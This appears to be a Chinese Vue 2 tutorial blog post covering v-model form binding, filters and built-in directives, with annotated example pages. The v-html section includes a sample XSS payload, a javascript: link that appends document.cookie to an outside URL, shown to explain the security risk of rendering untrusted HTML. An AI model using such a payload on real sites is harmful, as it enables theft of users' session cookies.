Vue04-表单数据收集+过滤器+内置指令
1.表单数据收集
<body>
<div id="app">
<!--
1 <input type="text"/>，v-model收集的是value值，用户输入的就是value值。
2 <input type="radio"/>，v-model收集的是value值，所以要给radio配置value值。
3 <input type="checkbox"/>
1 如果没有配置value，vue收集checked值，勾选为true，没有勾选为false。
2 配置value。如果v-model初始值不是数组，则收集checked值；如果v-model为数组，收集value组成的数组。
4 v-model的三个修饰符。
lazy 延时收集，元素失去焦点再去收集。
number 将收集到的数据转换为有效的数字。
trim 去掉输入数据前后的空格。
-->
<form @submit.prevent="submit">
账号： <input type="text" v-model.trim="userInfo.account"> <br><br>
密码： <input type="password" v-model="userInfo.password"> <br><br>
年龄： <input type="test" v-model.number="userInfo.age"> <br><br>
<!-- vue的v-model双向绑定input的value属性，所以对于radio单选框需要制定value。 -->
性别：
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
<br><br>
<!-- 对于选择框，如果没有指定value值，vue会读取选择框的checked属性，checked属性返回boolean值，
表示是否被选中。
同时选择框v-model绑定的数据需要是一个数组。
-->
爱好：
学习 <input type="checkbox" v-model="userInfo.hobby" value="study" checked>
游戏 <input type="checkbox" v-model="userInfo.hobby" value="game">
运动 <input type="checkbox" v-model="userInfo.hobby" value="sport"> <br><br>
所属校区
<select v-model="userInfo.city">
<option value="">请选择</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
</select>
<br><br>
其他信息 <textarea v-model.lazy="userInfo.other"></textarea> <br><br>
<input type="checkbox" v-model="userInfo.agree"> <a href="https://www.baidu.com">请阅读协议</a>
<button>提交</button>
</form>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
userInfo: {
account: '',
password: '',
age: '',
sex: '',
hobby: [],
city: 'beijing',
other: '',
agree: '',
}
},
methods: {
submit() {
// JSON.stringify() 将对象转换为JSON字符串。
console.log(JSON.stringify(this.userInfo));
}
}
})
</script>
</body>
2.过滤器
<body>
<div id="app">
<!--
1 Vue过滤器用于对显示的数据进行特定格式化后再显示，适用于一下简单逻辑的处理。
2 注册过滤器的两种语法。
全局注册，Vue.filter(name, callback)
局部注册，new Vue{filters: name()}
3 过滤器的两种使用方式。
{{xxx | 过滤器名}}
v-bind:xxx="xxx | 过滤器名"
4 过滤器可以接受额外的参数，并且多个过滤器可以串联。
5 过滤器不能改变原来的数据，而是产生新的数据。
-->
<!-- vue中的过滤器。|，表示要对数据进行过滤。会将time作为timeFormat()的第一个参数。
然后会使用timeFormat()的返回值来替换插值表达式{{time | timeFormat}}
-->
<p>原值 {{time}}</p>
<p>原值+1 {{time | timeFormat01}}</p>
<!-- 如果timeFormat()传入了一个参数，则依然会将time作为第一个参数传递，然后会将传入的参数作为第二个参数。 -->
<p>原值+10 {{time | timeFormat02(10)}}</p>
<p>原值+1 {{time | timeFormat02}}</p>
<!-- 多次过滤 -->
<p>原值+2 {{time | timeFormat02 | timeFormat02}}</p>
<!-- 使用局部过滤器反转字符 -->
<p>{{str | add01}}</p>
<p>{{str | add02}}</p>
<!-- 在v-bind中使用过滤器 -->
<p :x="str | add02">在v-bind中使用过滤器</p>
<!-- 不能在v-model中使用过滤器。 -->
<!--<input type="text" v-model="str | add02">-->
</div>
<div id="root">
<p>{{msg | add02}}</p>
</div>
<script>
// 创建全局过滤器，全局的创建需要在Vue实例化之前。
Vue.filter('add02', function (val) {
return val + "全局过滤器"
});
const vm01 = new Vue({
el: '#app',
data: {
time: 1661333519592,
str: 'hello'
},
// 局部过滤器，只能在当前Vue实例容器中使用，不能在其他Vue实例容器中使用。
filters: {
timeFormat01(value) {
console.log(value); // 1661333519592
return value + 1;
},
// num=1是ES6新特性，如果函数调用时给num传递了值，num就是传递的值，否则num是默认值1。
timeFormat02(value, num=1) {
console.log(value, '=='); // 1661333519592
return value + num;
},
add01(val) {
console.log(val);
return val + '10';
}
}
});
const vm02 = new Vue({
el: '#root',
data: {
msg: 'tom'
}
})
</script>
</body>
3.内置指令-v-text
<body>
<div id="app">
<!--
之前学习过的指令。
v-bind，单项数据绑定，简写为 :xxx
v-model，双向数据绑定。
v-for，遍历数据、对象和字符串。
v-on，监听事件，可以简写为@。
v-if，条件渲染。
v-else-if，条件渲染。
v-else，条件渲染。
v-show，条件渲染，动态控制节点是否展示。
v-text，会向所在的节点中渲染文本内容。
v-text和插值语法的区别，v-text会替换掉节点中的内容，{{}}则不会。
v-html，和v-text类，但是会解析html结构。
v-cloak，和CSS配置使用可以解决网络的问题。
v-once，之后被解析一次。
v-pre，让vue跳过节点的解析。
-->
<div>{{name}}</div>
<!-- v-text，给标签中插入内容。 -->
<div v-text="name"></div>
<!-- v-text会替换标签文本中所有的内容 -->
<div v-text="name">hello，</div>
<!-- v-text不会解析标签。 -->
<div v-text="str"></div>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
name: 'tom',
str: '<h3>alice</h3>'
}
})
</script>
</body>
4.内置指令-v-html
<body>
<div id="app">
<!--
1 v-html会向指定节点中渲染包含html代码的内容。
2 v-html和插值语法的区别。
1 v-html会替换节点中的所有内容，而{{}}不会。
2 v-html可以识别html结构。
3 v-html有安全问题。
1 在网站中动态渲染html是危险的行为，容器导致XSS攻击。
2 一定要在可信的内容上使用v-html，不用在用户提交的内容上使用v-html。
-->
<!-- v-html会解析标签。 -->
<div v-html="str01"></div>
<!-- v-html会存在安全问题。 -->
<!-- 当不解析标签时，有可能标签中含有JavaScript编码，会在跳转时携带cookie。 -->
<div v-html="str02"></div>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
name: 'tom',
str01: '<h3>alice</h3>',
str02: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>跳转</a>'
}
})
</script>
</body>
5.内置指令-v-cloak
<html lang="en">
<head>
<style>
/* 选择所有包含v-cloak属性的标签。 */
[v-cloak] {
display: none;
}
</style>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="app">
<!--
1 v-cloak指令没有值。
2 v-cloak可以被当做是一个特殊的属性，在vue实例创建完成接管容器后，v-cloak就会被从标签中删除。
3 使用CSS配合v-cloak使用可以解决网速慢时页面出现{{xxx}}的问题。
4 v-cloak可以和CSS配合使用，做到在vue没有接管容器时不显示html代码。
-->
<div v-cloak>{{name}}</div>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
name: 'tom',
}
})
</script>
</body>
</html>
6.内置指令-v-once
<body>
<div id="app">
<!--
1 v-once所在节点在初次动态渲染后，就被当做是静态内容。
2 之后数据的变化不会引起v-once所在结构的更新，可以用于性能优化。
-->
<h2 v-once>n的初始值 {{n}}</h2>
<button @click="n++">n++</button>
<p>{{n}}</p>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
n: 1,
}
})
</script>
</body>
7.内置指令-v-pre
<body>
<div id="app">
<!--
1 v-pre会让vue跳过所在节点编译。
2 可以使用v-pre跳过没有指令、没有插值语法的节点，从而加快vue的编译。
-->
<h2 v-pre>Vue代码</h2>
<h2 v-pre>n的初始值 {{n}}</h2>
<button @click="n++">n++</button>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
n: 1,
}
})
</script>
</body>
浙公网安备 33010602011771号